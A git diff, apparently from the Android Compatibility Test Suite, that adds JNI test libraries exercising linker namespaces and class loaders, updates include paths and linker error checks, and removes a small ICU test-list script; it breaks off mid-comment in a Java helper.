-  }
-}
diff --git a/tests/tests/icu/tools/update-test-list.sh b/tests/tests/icu/tools/update-test-list.sh
deleted file mode 100755
index e73cbfb..0000000
--- a/tests/tests/icu/tools/update-test-list.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/bash
-
-# Extract a flat list of tests from a CTSv2 generated host log for use when generating the CTSv1
-# required list of tests.
-ZIP=$1
-
-TMP_DIR=/tmp/update-test-list-$$
-mkdir -p $TMP_DIR
-
-unzip $ZIP host_log.txt -d $TMP_DIR
-
-HOST_LOG=$TMP_DIR/host_log.txt
-
-ICU_DIR=$(dirname $0)/../
-
-grep "ModuleListener.testStarted" $HOST_LOG \
-    | sed 's%.*(\([^#]\+\)#\([^)]\+\))%\1#\2%' | sort > $ICU_DIR/test-list.txt
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 7a9504d..d62a97e 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -32,7 +32,13 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
-LOCAL_JNI_SHARED_LIBRARIES := libjnitest libnativehelper_compat_libc++
+LOCAL_JNI_SHARED_LIBRARIES := \
+  libjninamespacea1 \
+  libjninamespacea2 \
+  libjninamespaceb \
+  libjnicommon \
+  libjnitest \
+  libnativehelper_compat_libc++
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -41,4 +47,4 @@
 include $(BUILD_CTS_PACKAGE)
 
 # Include the associated library's makefile.
-include $(LOCAL_PATH)/libjnitest/Android.mk
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni/libjnicommon/Android.mk b/tests/tests/jni/libjnicommon/Android.mk
new file mode 100644
index 0000000..0f8044e
--- /dev/null
+++ b/tests/tests/jni/libjnicommon/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libjnicommon
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := common.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++
+
+LOCAL_SDK_VERSION := 23
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnicommon/common.cpp b/tests/tests/jni/libjnicommon/common.cpp
new file mode 100644
index 0000000..02cdb24
--- /dev/null
+++ b/tests/tests/jni/libjnicommon/common.cpp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.h"
+
+int global = 0;
+
+void incrementGlobal() {
+    ++global;
+}
+
+int getGlobal() {
+    return global;
+}
diff --git a/tests/tests/jni/libjnicommon/common.h b/tests/tests/jni/libjnicommon/common.h
new file mode 100644
index 0000000..c82eece
--- /dev/null
+++ b/tests/tests/jni/libjnicommon/common.h
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef COMMON_H
+#define COMMON_H
+
+void incrementGlobal();
+int getGlobal();
+
+#endif // COMMON_H
diff --git a/tests/tests/jni/libjninamespacea1/Android.mk b/tests/tests/jni/libjninamespacea1/Android.mk
new file mode 100644
index 0000000..8016c50
--- /dev/null
+++ b/tests/tests/jni/libjninamespacea1/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libjninamespacea1
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := namespacea1.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
+
+LOCAL_LDLIBS += -llog
+LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
+
+LOCAL_SDK_VERSION := 23
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespacea1/namespacea1.cpp b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
new file mode 100644
index 0000000..8a79c3c
--- /dev/null
+++ b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.h"
+
+#include <android/log.h>
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+
+#define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea1",__VA_ARGS__)
+
+int global = 0;
+
+jint JNI_OnLoad(JavaVM*, void*) {
+    LOGI("JNI_OnLoad namespacea1");
+    return JNI_VERSION_1_4;
+}
+
+extern "C" JNIEXPORT void JNICALL
+    Java_android_jni_cts_ClassNamespaceA1_incrementGlobal(JNIEnv*, jclass) {
+  incrementGlobal();
+}
+
+extern "C" JNIEXPORT jint JNICALL
+    Java_android_jni_cts_ClassNamespaceA1_getGlobal(JNIEnv*, jclass) {
+  return getGlobal();
+}
diff --git a/tests/tests/jni/libjninamespacea2/Android.mk b/tests/tests/jni/libjninamespacea2/Android.mk
new file mode 100644
index 0000000..9b515c9
--- /dev/null
+++ b/tests/tests/jni/libjninamespacea2/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libjninamespacea2
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := namespacea2.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
+
+LOCAL_LDLIBS += -llog
+LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
+
+LOCAL_SDK_VERSION := 23
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespacea2/namespacea2.cpp b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
new file mode 100644
index 0000000..49f055e
--- /dev/null
+++ b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.h"
+
+#include <android/log.h>
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+
+#define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea2",__VA_ARGS__)
+
+int global = 0;
+
+jint JNI_OnLoad(JavaVM*, void*) {
+    LOGI("JNI_OnLoad namespacea2");
+    return JNI_VERSION_1_4;
+}
+
+extern "C" JNIEXPORT void JNICALL
+    Java_android_jni_cts_ClassNamespaceA2_incrementGlobal(JNIEnv*, jclass) {
+  incrementGlobal();
+}
+
+extern "C" JNIEXPORT jint JNICALL
+    Java_android_jni_cts_ClassNamespaceA2_getGlobal(JNIEnv*, jclass) {
+  return getGlobal();
+}
diff --git a/tests/tests/jni/libjninamespaceb/Android.mk b/tests/tests/jni/libjninamespaceb/Android.mk
new file mode 100644
index 0000000..4d3e158
--- /dev/null
+++ b/tests/tests/jni/libjninamespaceb/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libjninamespaceb
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := namespaceb.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
+
+LOCAL_LDLIBS += -llog
+LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++ libjnicommon
+
+LOCAL_SDK_VERSION := 23
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjninamespaceb/namespaceb.cpp b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
new file mode 100644
index 0000000..4c48627
--- /dev/null
+++ b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.h"
+
+#include <android/log.h>
+#include <jni.h>
+#include <nativehelper/JNIHelp.h>
+
+#define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespaceb",__VA_ARGS__)
+
+int global = 0;
+
+jint JNI_OnLoad(JavaVM*, void*) {
+    LOGI("JNI_OnLoad namespaceb");
+    return JNI_VERSION_1_4;
+}
+
+extern "C" JNIEXPORT void JNICALL
+    Java_android_jni_cts_ClassNamespaceB_incrementGlobal(JNIEnv*, jclass) {
+  incrementGlobal();
+}
+
+extern "C" JNIEXPORT jint JNICALL
+    Java_android_jni_cts_ClassNamespaceB_getGlobal(JNIEnv*, jclass) {
+  return getGlobal();
+}
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
index 7140de4..0703722 100644
--- a/tests/tests/jni/libjnitest/Android.mk
+++ b/tests/tests/jni/libjnitest/Android.mk
@@ -42,4 +42,6 @@
 LOCAL_SDK_VERSION := 23
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c b/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
index 3fda82a..cb44b42a 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
@@ -20,7 +20,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <stdbool.h>
 #include <string.h>
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c b/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
index 23278dc..cca5383 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 
 /*
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
index 38829a0..b0937f4 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 
 /*
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
index 5e8bea0..aa5651f 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 extern "C" JNIEXPORT jint JNICALL Java_android_jni_cts_ClassLoaderHelper_nativeGetHashCode(
         JNIEnv* env,
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 8a82706..77ac34b 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -22,7 +22,6 @@
 #include <dlfcn.h>
 #include <fcntl.h>
 #include <jni.h>
-#include <JNIHelp.h>
 #include <libgen.h>
 #include <stdlib.h>
 #include <sys/types.h>
@@ -34,8 +33,9 @@
 #include <unordered_set>
 #include <vector>
 
-#include "ScopedLocalRef.h"
-#include "ScopedUtfChars.h"
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
 
 #if defined(__LP64__)
 static const std::string kSystemLibraryPath = "/system/lib64";
@@ -47,21 +47,26 @@
 
 // This is not the complete list - just a small subset
 // of the libraries that should reside in /system/lib
+// for app-compatibility reasons.
 // (in addition to kSystemPublicLibraries)
 static std::vector<std::string> kSystemLibraries = {
     "libart.so",
     "libandroid_runtime.so",
     "libbinder.so",
+    "libcrypto.so",
     "libcutils.so",
+    "libexpat.so",
     "libgui.so",
     "libmedia.so",
     "libnativehelper.so",
     "libstagefright.so",
+    "libsqlite.so",
     "libui.so",
     "libutils.so",
+    "libvorbisidec.so",
   };
 
-static bool is_directory(const std::string path) {
+static bool is_directory(const std::string& path) {
   struct stat sb;
   if (stat(path.c_str(), &sb) != -1) {
     return S_ISDIR(sb.st_mode);
@@ -70,30 +75,26 @@
   return false;
 }
 
-static bool is_libdl(const std::string path) {
-  return kSystemLibraryPath + "/libdl.so" == path;
+static bool not_accessible(const std::string& library, const std::string& err) {
+  return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
+         err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos;
 }
 
-static bool already_loaded(const std::string& library, const std::string& err) {
-  if (err.find("dlopen failed: library \"" + library + "\"") != 0 ||
-      err.find("is not accessible for the namespace \"classloader-namespace\"") == std::string::npos) {
-    return false;
-  }
-  return true;
+static bool not_found(const std::string& library, const std::string& err) {
+  return err == "dlopen failed: library \"" + library + "\" not found";
+}
+
+static bool wrong_arch(const std::string& library, const std::string& err) {
+  // https://issuetracker.google.com/37428428
+  // It's okay to not be able to load a library because it's for another
+  // architecture (typically on an x86 device, when we come across an arm library).
+  return err.find("dlopen failed: \"" + library + "\" has unexpected e_machine: ") == 0;
 }
 
 static bool check_lib(const std::string& path,
                       const std::string& library_path,
                       const std::unordered_set<std::string>& libraries,
                       std::vector<std::string>* errors) {
-  if (is_libdl(path)) {
-    // TODO (dimitry): we skip check for libdl.so because
-    // 1. Linker will fail to check accessibility because it imposes as libdl.so (see http://b/27106625)
-    // 2. It is impractical to dlopen libdl.so because this library already depends
-    //    on it in order to have dlopen()
-    return true;
-  }
-
   std::unique_ptr<void, int (*)(void*)> handle(dlopen(path.c_str(), RTLD_NOW), dlclose);
 
   // The current restrictions on public libraries:
@@ -116,7 +117,7 @@
   } else { // (handle == nullptr && !shouldBeAccessible(path))
     // Check the error message
     std::string err = dlerror();
-    if (!already_loaded(path, err)) {
+    if (!not_accessible(path, err) && !not_found(path, err) && !wrong_arch(path, err)) {
       errors->push_back("unexpected dlerror: " + err);
       return false;
     }
@@ -125,7 +126,7 @@
 }
 
 static bool check_path(const std::string& library_path,
-                       const std::unordered_set<std::string> libraries,
+                       const std::unordered_set<std::string>& libraries,
                        std::vector<std::string>* errors) {
   bool success = true;
   std::list<std::string> dirs = { library_path };
@@ -242,9 +243,9 @@
     void* handle = dlopen(library.c_str(), RTLD_NOW);
     if (handle == nullptr) {
       std::string err = dlerror();
-      // If the library is already loaded, then dlopen failing is okay.
-      if (!already_loaded(library, err)) {
-          errors.push_back("Mandatory system library \"" + library + "\" failed to load: " + err);
+      // The libraries should be present and produce specific dlerror when inaccessible.
+      if (!not_accessible(library, err)) {
+          errors.push_back("Mandatory system library \"" + library + "\" failed to load with unexpected error: " + err);
           success = false;
       }
     } else {
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c b/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
index ada2bf8..4e330e5 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
@@ -20,7 +20,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <stdbool.h>
 #include <string.h>
diff --git a/tests/tests/jni/libjnitest/helper.h b/tests/tests/jni/libjnitest/helper.h
index 58a3407..f811055 100644
--- a/tests/tests/jni/libjnitest/helper.h
+++ b/tests/tests/jni/libjnitest/helper.h
@@ -37,7 +37,7 @@
  * the given name. The function is static, returns a (char *), and
  * takes a (JNIEnv *) named "env".
  */
-#define TEST_DECLARATION(name) static char *test_##name(JNIEnv *env)
+#define TEST_DECLARATION(name) static char *test_##name(JNIEnv *env) /* NOLINT */
     
 /**
  * Logs and returns an error message, passed and formatted in printf()
diff --git a/tests/tests/jni/libjnitest/macroized_tests.c b/tests/tests/jni/libjnitest/macroized_tests.c
index 76b5481..973ade7 100644
--- a/tests/tests/jni/libjnitest/macroized_tests.c
+++ b/tests/tests/jni/libjnitest/macroized_tests.c
@@ -182,13 +182,13 @@
 // TODO: Missing functions:
 //   AllocObject
 
-static char *help_CallBooleanMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallBooleanMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnBoolean", "()Z");
 
     if (method == NULL) {
@@ -285,13 +285,13 @@
     return help_CallBooleanMethod(env, STATIC_VA);
 }
 
-static char *help_CallByteMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallByteMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnByte", "()B");
 
     if (method == NULL) {
@@ -388,13 +388,13 @@
     return help_CallByteMethod(env, STATIC_VA);
 }
 
-static char *help_CallShortMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallShortMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnShort", "()S");
 
     if (method == NULL) {
@@ -491,13 +491,13 @@
     return help_CallShortMethod(env, STATIC_VA);
 }
 
-static char *help_CallCharMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallCharMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnChar", "()C");
 
     if (method == NULL) {
@@ -594,13 +594,13 @@
     return help_CallCharMethod(env, STATIC_VA);
 }
 
-static char *help_CallIntMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallIntMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnInt", "()I");
 
     if (method == NULL) {
@@ -697,13 +697,13 @@
     return help_CallIntMethod(env, STATIC_VA);
 }
 
-static char *help_CallLongMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallLongMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnLong", "()J");
 
     if (method == NULL) {
@@ -800,13 +800,13 @@
     return help_CallLongMethod(env, STATIC_VA);
 }
 
-static char *help_CallFloatMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallFloatMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnFloat", "()F");
 
     if (method == NULL) {
@@ -903,13 +903,13 @@
     return help_CallFloatMethod(env, STATIC_VA);
 }
 
-static char *help_CallDoubleMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallDoubleMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnDouble", "()D");
 
     if (method == NULL) {
@@ -1006,13 +1006,13 @@
     return help_CallDoubleMethod(env, STATIC_VA);
 }
 
-static char *help_CallVoidMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallVoidMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "nop", "()V");
 
     if (method == NULL) {
@@ -1109,13 +1109,13 @@
     return help_CallVoidMethod(env, STATIC_VA);
 }
 
-static char *help_CallObjectMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallObjectMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnString", "()Ljava/lang/String;");
 
     if (method == NULL) {
@@ -1230,13 +1230,13 @@
     return help_CallObjectMethod(env, STATIC_VA);
 }
 
-static char *help_TakeOneOfEach(JNIEnv *env, callType ct, ...) {
+static char *help_TakeOneOfEach(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "takeOneOfEach", "(DFJICSBZLjava/lang/String;)Z");
 
     if (method == NULL) {
@@ -1350,13 +1350,13 @@
             (jboolean) true, biscuits);
 }
 
-static char *help_TakeCoolHandLuke(JNIEnv *env, callType ct, ...) {
+static char *help_TakeCoolHandLuke(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "takeCoolHandLuke",
             "(IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII)Z");
 
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index 91ebe73..d2e90c6 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -42,6 +42,13 @@
         }
     }
 
+    public void test_linker_namespaces_classloaders() throws Exception {
+        String error = LinkerNamespacesHelper.runClassLoaderNamespaces();
+        if (error != null) {
+            fail(error);
+        }
+    }
+
     /**
      * Test that accessing classes true JNI works as expected. b/19382130
      */
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 132a21f..754e6b2 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -17,8 +17,11 @@
 package android.jni.cts;
 
 import android.content.Context;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
 import android.support.test.InstrumentationRegistry;
+import dalvik.system.PathClassLoader;
 
 import java.io.BufferedReader;
 import java.io.IOException;
@@ -85,4 +88,139 @@
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
                                                           String[] publicVendorLibs);
+
+    private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
+        clazz.getMethod("incrementGlobal").invoke(null);
+    }
+    private static int invokeGetGlobal(Class<?> clazz) throws Exception  {
+        return (Integer)clazz.getMethod("getGlobal").invoke(null);
+    }
+
+    private static ApplicationInfo getApplicationInfo(String packageName) {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        try {
+            return pm.getApplicationInfo(packageName, 0);
+        } catch (NameNotFoundException nnfe) {
+            throw new RuntimeException(nnfe);
+        }
+    }
+
+    private static String getSourcePath(String packageName) {
+        String sourcePath = getApplicationInfo(packageName).sourceDir;
+        if (sourcePath == null) {
+            throw new IllegalStateException("No source path path found for " + packageName);
+        }
+        return sourcePath;
+    }
+
+    private static String getNativePath(String packageName) {
+        String nativePath = getApplicationInfo(packageName).nativeLibraryDir;
+        if (nativePath == null) {
+            throw new IllegalStateException("No native path path found for " + packageName);
+        }
+        return nativePath;
+    }
+
+    // Verify the behaviour of native library loading in class loaders.
+    // In this test:
+    //    - libjninamespacea1, libjninamespacea2 and libjninamespaceb depend on libjnicommon
+    //    - loaderA will load ClassNamespaceA1 (loading libjninamespacea1)
+    //    - loaderA will load ClassNamespaceA2 (loading libjninamespacea2)
